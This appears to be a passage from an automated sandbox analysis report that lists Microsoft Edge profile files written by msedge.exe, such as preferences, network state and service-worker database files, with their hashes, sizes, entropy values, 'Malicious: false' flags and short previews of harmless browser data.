Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c7d0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2792593576893203
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5H:JkIEumQv8m1ccnvS67+iij51a
MD5:	ACA0BBCC1A2A4421B9BC9363950D025A
SHA1:	82D0586D8B180D19710C3E2D767C0D82564C5034
SHA-256:	638BA18E75C7C135ECDC8688B5BD4BA7B5C6F6AAB90BAEF33CB554DC2C21A5BE
SHA-512:	9115747F7F44B5C29F87D81FF1BDA36FE69714AA28B445DA647BADD3F72CDB598950E6349C479AEFA15D0E163D098F78FFE1511940CC0F1D690D96897A24671D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b315.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c91d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\df038bfd-1e97-4a54-ac0d-3b280e3ae8bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107350448651629
Encrypted:	false
SSDEEP:	192:st+kdpNsFCZaFvrE9k1V/87bV+F01QAdUPPDYJ:st+QNssZCDYbGCQ/o
MD5:	3940B7EFD0A5D322A9A0F02514B3830C
SHA1:	B4EAAC617AB6A5FBB575BB0AE28949D86C9743EE
SHA-256:	22EAD617D4674C87B366AD3FB7451CBA1C4949DF1AD9BB3D7C33F182FBBC13EA
SHA-512:	28CEDE779746D9E10FC5F9DECDCEE36A65B1948A541D4C93DDA1C33E9628791D7C698D3691D3A07B866106F0FB56D20AC7C89C8FF768A2BD16AF9266D62C4F6E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f696.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107350448651629
Encrypted:	false
SSDEEP:	192:st+kdpNsFCZaFvrE9k1V/87bV+F01QAdUPPDYJ:st+QNssZCDYbGCQ/o
MD5:	3940B7EFD0A5D322A9A0F02514B3830C
SHA1:	B4EAAC617AB6A5FBB575BB0AE28949D86C9743EE
SHA-256:	22EAD617D4674C87B366AD3FB7451CBA1C4949DF1AD9BB3D7C33F182FBBC13EA
SHA-512:	28CEDE779746D9E10FC5F9DECDCEE36A65B1948A541D4C93DDA1C33E9628791D7C698D3691D3A07B866106F0FB56D20AC7C89C8FF768A2BD16AF9266D62C4F6E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF433fd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107350448651629
Encrypted:	false
SSDEEP:	192:st+kdpNsFCZaFvrE9k1V/87bV+F01QAdUPPDYJ:st+QNssZCDYbGCQ/o
MD5:	3940B7EFD0A5D322A9A0F02514B3830C
SHA1:	B4EAAC617AB6A5FBB575BB0AE28949D86C9743EE
SHA-256:	22EAD617D4674C87B366AD3FB7451CBA1C4949DF1AD9BB3D7C33F182FBBC13EA
SHA-512:	28CEDE779746D9E10FC5F9DECDCEE36A65B1948A541D4C93DDA1C33E9628791D7C698D3691D3A07B866106F0FB56D20AC7C89C8FF768A2BD16AF9266D62C4F6E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF45d5e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107350448651629
Encrypted:	false
SSDEEP:	192:st+kdpNsFCZaFvrE9k1V/87bV+F01QAdUPPDYJ:st+QNssZCDYbGCQ/o
MD5:	3940B7EFD0A5D322A9A0F02514B3830C
SHA1:	B4EAAC617AB6A5FBB575BB0AE28949D86C9743EE
SHA-256:	22EAD617D4674C87B366AD3FB7451CBA1C4949DF1AD9BB3D7C33F182FBBC13EA
SHA-512:	28CEDE779746D9E10FC5F9DECDCEE36A65B1948A541D4C93DDA1C33E9628791D7C698D3691D3A07B866106F0FB56D20AC7C89C8FF768A2BD16AF9266D62C4F6E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b591.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9759
Entropy (8bit):	5.107350448651629
Encrypted:	false
SSDEEP:	192:st+kdpNsFCZaFvrE9k1V/87bV+F01QAdUPPDYJ:st+QNssZCDYbGCQ/o
MD5:	3940B7EFD0A5D322A9A0F02514B3830C
SHA1:	B4EAAC617AB6A5FBB575BB0AE28949D86C9743EE
SHA-256:	22EAD617D4674C87B366AD3FB7451CBA1C4949DF1AD9BB3D7C33F182FBBC13EA
SHA-512:	28CEDE779746D9E10FC5F9DECDCEE36A65B1948A541D4C93DDA1C33E9628791D7C698D3691D3A07B866106F0FB56D20AC7C89C8FF768A2BD16AF9266D62C4F6E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377230852423420","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557534097907554
Encrypted:	false
SSDEEP:	768:vrdlRwWv07pLGLPpIW5wTzf4bC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiqIHEX9u:vJ3wU4cPpIWaTzfiCu1jafXWGStg
MD5:	3DEB162C58B3614FC33B70BB4207B22F
SHA1:	DE1AEBB5AB980BDC9B37BD687B98DDCF3D2C1272
SHA-256:	9DEF008DDAF9AA78570617392CFBBF9F646FA413EDF7EC841BAD5FC98762821A
SHA-512:	A46031E9D4039415E1A58E96CE6AD22EBF1BBC26DD50D84CCC573BDFC4256A1904EC1256FF6F5CA94AC0DE9961375C1CA026231091802E14B0A7EE7BBDEAD934
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377230851320784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377230851320784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f6a6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557534097907554
Encrypted:	false
SSDEEP:	768:vrdlRwWv07pLGLPpIW5wTzf4bC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiqIHEX9u:vJ3wU4cPpIWaTzfiCu1jafXWGStg
MD5:	3DEB162C58B3614FC33B70BB4207B22F
SHA1:	DE1AEBB5AB980BDC9B37BD687B98DDCF3D2C1272
SHA-256:	9DEF008DDAF9AA78570617392CFBBF9F646FA413EDF7EC841BAD5FC98762821A
SHA-512:	A46031E9D4039415E1A58E96CE6AD22EBF1BBC26DD50D84CCC573BDFC4256A1904EC1256FF6F5CA94AC0DE9961375C1CA026231091802E14B0A7EE7BBDEAD934
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377230851320784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377230851320784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF43833.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557534097907554
Encrypted:	false
SSDEEP:	768:vrdlRwWv07pLGLPpIW5wTzf4bC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPiqIHEX9u:vJ3wU4cPpIWaTzfiCu1jafXWGStg
MD5:	3DEB162C58B3614FC33B70BB4207B22F
SHA1:	DE1AEBB5AB980BDC9B37BD687B98DDCF3D2C1272
SHA-256:	9DEF008DDAF9AA78570617392CFBBF9F646FA413EDF7EC841BAD5FC98762821A
SHA-512:	A46031E9D4039415E1A58E96CE6AD22EBF1BBC26DD50D84CCC573BDFC4256A1904EC1256FF6F5CA94AC0DE9961375C1CA026231091802E14B0A7EE7BBDEAD934
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377230851320784","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377230851320784","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.827187545587287
Encrypted:	false
SSDEEP:	48:F2emYtrdDZfBpmXrdYxprdDEBpYirdDBpD:F1mYtxDZLExYxpxDChxXD
MD5:	1F5917254FE5833776485C0190252CE0
SHA1:	68F4AC825D82C602469196043A3A1A7C43B5C39F
SHA-256:	0050C93612F39C897CA96B89AEBC8F0CBB64718FFF11E46B8EEB117652809351
SHA-512:	4F5F9856B3BF649FC67A6BF75913CCC850D021029D311B7023A4D51CB6C2CBF4D56EE073D971C8686DEEA2C8E6BDF22DE233529D79E63ABB7863FEE35CE9E425
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2/...m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	301
Entropy (8bit):	5.156145416945452
Encrypted:	false
SSDEEP:	6:HC5W4M1N723oH+TcwtE/a252KLlVC5Ryq2PN723oH+TcwtE/a2ZIFUv:b4saYeb8xLlvVaYeb8J2FUv
MD5:	979996363146A798D8DDDF5988CFF4F3
SHA1:	38DCFE75A9CA8B92B90DE9093BBCF0AD2108F7A3
SHA-256:	A45BC9B0BF38DEE8CC2FB2498E685274E1DD99E3CD3BE0567FE5D0A122E4E8F2
SHA-512:	32587EF8DF39814BB5C58125D610E804C19C2492C6CDFA939E3105D015A647970C6FD6CB5871887E354C9ACB0275BC68F4899FC7C02C863CB9DC56CBB2BE3454
Malicious:	false
Preview:	2024/11/27-20:27:49.691 594 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/27-20:27:49.713 594 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

